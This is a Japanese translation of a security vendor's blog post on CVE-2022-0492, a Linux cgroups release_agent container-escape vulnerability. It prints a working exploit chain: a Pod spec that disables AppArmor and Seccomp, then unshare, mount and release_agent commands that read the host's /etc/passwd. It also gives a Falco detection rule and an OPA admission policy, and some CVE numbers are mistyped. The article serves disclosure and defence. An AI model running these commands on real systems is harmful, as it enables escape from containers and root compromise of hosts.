本文の内容は、2022年3月8日にStefano Chiericiが投稿したブログ(https://sysdig.com/blog/detecting-mitigating-cve-2021-0492-sysdig/)を元に日本語に翻訳・再構成した内容となっております。
Linux カーネルに特権昇格の脆弱性があることが、Linux メンテナーにより公表されました。この脆弱性は、Common Vulnerability and Exposures IDとしてCVE-2022-0492が発行されており、深刻度は、高(7.0)と評価されています。
この脆弱性は、cgroupsに存在し、攻撃者がコンテナ環境からエスケープし、特権昇格することを可能にします。
脆弱性のあるコードは、Linux カーネルの kernel/cgroup/cgroup-v1.c 関数の cgroup_release_agent_write で見つかりました。リリースされたパッチは、バージョン kernel 5.17 rc3でこの問題を修正するものです。
ほとんどのコンテナ環境では、コンテナのエスケープを防ぐためのセキュリティ設定がすでにデフォルトで有効になっています。実際、SELinuxやAppArmor、Seccompで動作しているコンテナは保護されています。とはいえ、セキュリティのベストプラクティスに従わずにコンテナを実行することは珍しいことではなく、あなたの環境を深刻なリスクにさらすかもしれないことは誰もが知っています。
いずれにせよ、すべてのLinuxユーザは、最新バージョンのカーネルをダウンロードしてインストールすることをお勧めします。
CVE-2022-0492の問題
release_agentのエスケープはすでに存在しますが、コンテナをエスケープするにはCAP_SYS_ADMINの能力が必要です。CVE-2022-0492 は、エスケープを実現するために使用できる新しいテクニックを示しています。具体的には、新しいユーザーのネームスペースに cgroupfs をマウントし、release_agent ファイルを編集するというものです。
cgroups v1 の利用可能な機能の 1 つに release_agent ファイルがあります。このファイルにより、管理者は cgroup 内のプロセスの終了時に実行される ”リリースエージェント” プログラムを設定することができます。プロセスが終了すると、カーネルはその cgroups が notify_on_release を有効にしているかどうかをチェックします。もし有効になっていれば、関連する release_agent バイナリを起動し、root として実行されます。
つまり、もし release_agent ファイルに書き込むことができれば、カーネルを強制的に起動させて、自分が選んだバイナリを昇格した特権で実行させ、システム全体を制御することができるのです。これらの理由から、release_agent ファイルは root が所有し、root を持つユーザのみが書き込むことができるようになっています。
CVE-2022-0492 を悪用する
前述したように、セキュリティのベストプラクティスに従ったほとんどのコンテナ環境は、デフォルトで安全です。実際、本脆弱性の悪用を進めるためには、以下の条件を満たす必要があります。- コンテナをルートで実行:release_agent ファイルを変更できるのはルートのみなので、これは脆弱性を悪用するための必須条件です。
- AppArmor と SELinux が無効であること:両ツールともマウントを阻止します。
- Seccompを無効にする必要があります:このツールなしで実行されているコンテナのみが、新しいユーザーネームスペースを作成することができます。
- root cgroup v1: アーキテクチャーでより多く使用されているバージョンです。
apiVersion: v1 kind: Pod metadata: labels: app: apache-httpd name: apache-httpd namespace: apache-httpd annotations: container.apparmor.security.beta.kubernetes.io/apache-httpd: unconfined container.seccomp.security.alpha.kubernetes.io/apache-httpd: unconfined spec: containers: - name: apache-httpd image: darryk/apache2.4.49 ports: - containerPort: 80 hostPort: 80 securityContext:
特に、以下にレポートする2つのアノテーションは、Podに対してAppArmorとSeccompが無効になっていることを確認します。
- container.apparmor.security.beta.kubernetes.io/apache-httpd: unconfined および
- container.seccomp.security.alpha.kubernetes.io/apache-httpd: unconfined
特筆すべきは、コンテナが特権として実行されている場合、ユーザー定義の対策がすべてPodに適用されないことです。このシナリオでは、この新しい技術は、コンテナからエスケープするためにすでによく知られている他の技術とともに、可能な方法の1つに過ぎません。
securityContext: privileged: true
デプロイしたら、unshare を実行して、新しいユーザーネームスペースと cgroup ネームスペースを作成できます。そして、cgroupfsをマウントし、release_agentにデータを書き込むことができます。
unshare -UrmC bash mkdir /tmp/mountest && mount -t cgroup -o rdma cgroup /tmp/mountest && mkdir /tmp/mountest/x
エクスプロイトをトリガーするには、cgroup内のすべてのプロセスを強制終了してrelease_agentの呼び出しをトリガーする必要もあります。 作成された”x” cgroupのリリース時にcgroup通知を有効にするには、notify_on_releaseファイルに1を書き込みます。
また、cgroup release_agent ファイルを編集して、ホストの /etc/passwd センシティブファイルを読み込んで、コンテナ内の出力ファイルに直接内容を書き込む /cmd スクリプトを実行する必要があります。これを行うには、ホスト上のコンテナのパスを /etc/mtab ファイルから取得します。
echo 1 > /tmp/mountest/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/mountest/release_agent echo '#!/bin/sh' > /cmd echo "cat /etc/passwd > $host_path/output" >> /cmd chmod a+x /cmd
これで、子cgroupの内部ですぐに終了するプロセスを生成することで、攻撃を引き起こすことができるようになりました。以下のスクリーンショットに示すように、攻撃を実行し、コンテナ内部からホストファイル/etc/passwdを取得することに成功しました。
sh -c "echo \$\$ > /tmp/mountest/x/cgroup.procs"
これは、コンテナからのエスケープに成功したことを示す一例ですが、攻撃者はホストを完全に侵害するために、より有害な他のアクションを実行することができます。
CVE-2022-0492の影響
この欠陥の深刻度は、スコア7.0で 高 と評価されています。影響が大きく、コンテナ内でルートアクセスを持つローカル攻撃者が容易に行使できます。攻撃者がこの脆弱性を悪用することができれば、この欠陥を利用してコンテナ環境をエスケープし、ホストシステム上でルート権限を取得することができます。
これまで見てきたように、コンテナ環境が脆弱であるかどうかを確認し、また、その悪用を実行することは、かなり簡単で単純なことです。また、同様のエスケープ手法は既によく知られており、この脆弱性を悪用することはさらに容易となります。
CVE-2022-0492の緩和策
CVE-2022-0492は、Linuxカーネルパッチをインストールすることで緩和することができます。パッチを適用できない場合、Linuxユーザは、再起動する必要なく、非特権ユーザのネームスペースを無効にすることもできます。警告: これらのコマンドは、ホストのコンテナ実行能力に影響を与える可能性があります。
実行と対応 イベントの検出
Falcoのようなランタイム検出エンジンツールを使用すると、コンテナがすでに稼働しているときにランタイムで発生する攻撃を検出することができます。CNCFのインキュベートプロジェクトであるFalcoは、クラウドネイティブ環境における異常な活動を検出するのに役立ちます。以下のFalcoルールは、CVE-2022-0492の影響を受けているかどうかを検出するのに役立ちます。- rule: Linux Cgroup Container Escape Vulnerability (CVE-2022-4092) desc: "This rule detects an attempt to exploit a container escape vulnerability in the Linux Kernel." condition: container.id != "" and proc.name = "unshare" and spawned_process and evt.args contains "mount" and evt.args contains "-o rdma" and evt.args contains "/release_agent" output: "Detect Linux Cgroup Container Escape Vulnerability (CVE-2022-4092) (user=%user.loginname uid=%user.loginuid command=%proc.cmdline args=%proc.args)" priority: CRITICAL tags: [process, mitre_privilege_escalation]
デプロイ:アドミッションコントローラにおけるイメージスキャナー
アドミッションコントローラーにイメージスキャンを実装することで、スキャンポリシーに準拠したワークロードイメージのみをクラスターでの実行を許可することが可能になります。ワークロードの作成と修正を阻止する検証用アドミッションWebhookを作成することができます。既存のアドミッション・ポリシー・メカニズム(OPA Gatekeeperなど)がある場合、この制限を実施するポリシーを作成することができます。
このコンポーネントは、名前、タグ、ネームスペース、CVE深刻度レベルなど、さまざまな基準でイメージのデプロイを拒否することができます。
ポリシーを作成して割り当てると、アドミッションコントローラは新しいデプロイメントイメージを評価し、セキュリティ問題が検出された場合はデプロイメントをブロックします。
以下のOPA regoポリシーを使用すると、デプロイされるPodがAppArmorまたはSeccompを無効にしていないことを確認できます。
package kubernetes.admission validateAnnotations(annotation){ some k annotation[k] startswith(k, "container.apparmor.security.beta.kubernetes.io") annotation[k] == "unconfined" } validateAnnotations(annotation){ some k annotation[k] startswith(k, "container.seccomp.security.alpha.kubernetes.io/") annotation[k] == "unconfined" } valueWorkLoadAnnotations(workload){ workload.name = "myapp"; assign(annotation, workload.annotations[_]); validateAnnotations(annotation) } deny[message] { equal(input.request.kind.kind, "Pod"); assign(workload, input.request.object[_]); valueWorkLoadAnnotations(workload); message := sprintf("Container has %v", [workload.name]) }
まとめ
幸いにも、この脆弱性(CVE-2022-0492)は発見され、すでにパッチが適用されていますが、悪用が容易であるため、脆弱なサービスを新たにデプロイしない仕組みや、ランタイムイベントをチェックして既存のホストに攻撃が及ばないことを確認する仕組みが必要です。管理者とユーザーは、システムを最新のセキュリティパッチに更新しておく必要があります。環境によっては、パッチの適用に時間がかかることがあります。幸い、Falco や OPA などのオープンソースツールは、攻撃者よりも先にパッチが適用されていないシステムを追跡するのに役立ちます。
いずれにせよ、すべてのLinuxユーザは、最新版のカーネルをダウンロードし、インストールすることをお勧めします。
Falcoについてもっと知りたい方は:
- Falco.orgで始める。
- GitHub上のFalcoプロジェクトをチェックアウトする。
- Falco コミュニティに参加する。
- Falco Slackでメンテナーに会う。
- Twitterで@falco_orgをフォローする。